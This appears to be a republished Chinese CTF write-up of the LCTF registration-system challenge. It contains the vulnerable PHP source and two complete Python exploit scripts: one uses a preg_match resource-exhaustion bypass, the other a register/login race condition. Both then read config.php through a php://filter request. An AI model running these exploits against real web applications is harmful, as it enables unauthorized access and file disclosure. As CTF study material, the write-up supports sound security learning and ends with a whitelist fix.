LCTF 萌萌哒的报名系统

2019年6月7日 204次阅读 来源: 江sir

这题通过PHPSTORM的隐藏工程文件.idea/workspace.xml 得到源码, 之前一直在想str_shuffle 的伪随机数预测， 最后也没多少时间做了就结束了，很可惜，赛后看wp发现有两种解法，一种是通过preg_match函数的资源消耗来绕过，第二种是条件竞争， 第一种官方已经给出了wp,因此不再多说，贴出脚本:

# !/usr/bin/env python
#  -*- coding: utf-8 -*-
# 
import requests
import threading
import re
import os
__author__ = 'Rivir'

s = requests.session()

url = 'http://123.206.120.239/'
url1 = url+'register.php'
url2 = url+'login.php'
url3 = url+'member.php?file=php://filter/resource=config.php'

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
def register():
    data = {
    'username':'rivir23',
    'password':'123456',
    'code':'xdsec###'+'A'*100000
    }
    try:
        s.post(url1, headers=headers,data=data,timeout=5)
    except Exception as e:
        print e
        pass
    #print re1.content


def login():
    data = {
    'username':'rivir23',
    'password':'123456'
    }
    s.post(url2,headers=headers,data=data)


def member():
    res = s.get(url3,headers=headers)
    print res.content 

if __name__ == '__main__':
    register()
    #register()
    login()
    member()

下面主要来看下条件竞争的做法，在register.php中的源码为:

<?php
    include('config.php');
    try{
        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
    }catch (Exception $e){
        die('mysql connected error');
    }
    $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
    $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';

    if (strlen($username) > 16 || strlen($username) > 16) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch() !== false) {
        die('username has been registered');
    }

    $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
    $sth->execute([':username' => $username, ':password' => $password]);

    preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
    if (count($matches) === 3 && $admin === $matches[0]) {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
        $sth->execute([':username' => $username, ':identity' => $matches[1]]);
    } else {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
        $sth->execute([':username' => $username]);
    }
    echo '<script>alert("register success");location.href="./index.html"</script>';

可以看到存在两步数据库的插表操作，第一次是user表， 第二次是identities表， 由于mysql_query()的延时，前后两步操作是的时间差是可以被竞争利用的

我们再来看下member.php验证的情况:

<?php
    error_reporting(0);
    session_start();
    include('config.php');
    if (isset($_SESSION['username']) === false) {
        die('please login first');
    }
    try{
        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
    }catch (Exception $e){
        die('mysql connected error');
    }
    $sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
    $sth->execute([':username' => $_SESSION['username']]);
    if ($sth->fetch()[0] === 'GUEST') {
        $_SESSION['is_guest'] = true;
    }

    $_SESSION['is_logined'] = true;
    if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
        
    }else{
        if(isset($_GET['file'])===false)
            echo "None";
        elseif(is_file($_GET['file']))
            echo "you cannot give me a file";
        else
            readfile($_GET['file']);
    }
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body background="./images/1.jpg">
<object type="application/x-shockwave-flash" style="outline:none;" data="http://cdn.abowman.com/widgets/hamster/hamster.swf?" width="300" height="225"><param name="movie" value="http://cdn.abowman.com/widgets/hamster/hamster.swf?"></param><param name="AllowScriptAccess" value="always"></param><param name="wmode" value="opaque"></param></object>
<p style="color:orange">你好啊，但是你好像不是XDSEC的人,所以我就不给你flag啦~~</p>
</body>
</html>

关键验证步骤位:

if ($sth->fetch()[0] === 'GUEST') {
    $_SESSION['is_guest'] = true;
}

发现这里的验证只是基于一种黑名单的验证，即只要数据库里的值不是“GUEST”, 就通过

这样条件竞争的两个前提就都满足了， 下面就是写脚本来开两个线程来跑:

# !/usr/bin/env python
#  -*- coding: utf-8 -*-
import requests
import threading
import re
import os
__author__ = 'Rivir'

s = requests.session()

url = 'http://123.206.120.239/'
url1 = url+'register.php'
url2 = url+'login.php'
url3 = url+'member.php?file=php://filter/resource=config.php'

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
def register(data):
    re1 = s.post(url1, headers=headers,data=data)
    #print re1.content



def login(data):
    re2 = s.post(url2, headers=headers,data=data)
    #print re2.content
    if 'None' in re2.content:
        print re2.content
        print 'success!!!'
        print data
        re3 = s.get(url3,headers=headers).content
        if 'LCTF{' in re3:
            print re3




def main():
    for i in range(1000):
        username = os.urandom(4).encode('hex')
        password = '2333333'
        data = {'username': username, 'password': password}
       # print data
        t1 = threading.Thread(target=register, args=(data,))
        t2 = threading.Thread(target=login, args=(data,))
        t1.start()
        t2.start()

        # t1.join()
        # t2.join()

if __name__ == '__main__':
    main()

修复方法，验证采用白名单的验证，即把验证程序改成:

if ($sth->fetch()[0] === 'xdsec') {
    $_SESSION['is_admin'] = true;
}

近两次比赛被虐哭了，打不过,根本打不过，有那个大佬战队缺人不，萌新求carry。

    原文作者：江sir
    原文地址: https://www.jianshu.com/p/43c94bdf2b6d
    本文转自网络文章，转载此文章仅为分享知识，如有侵权，请联系博主进行删除。
点赞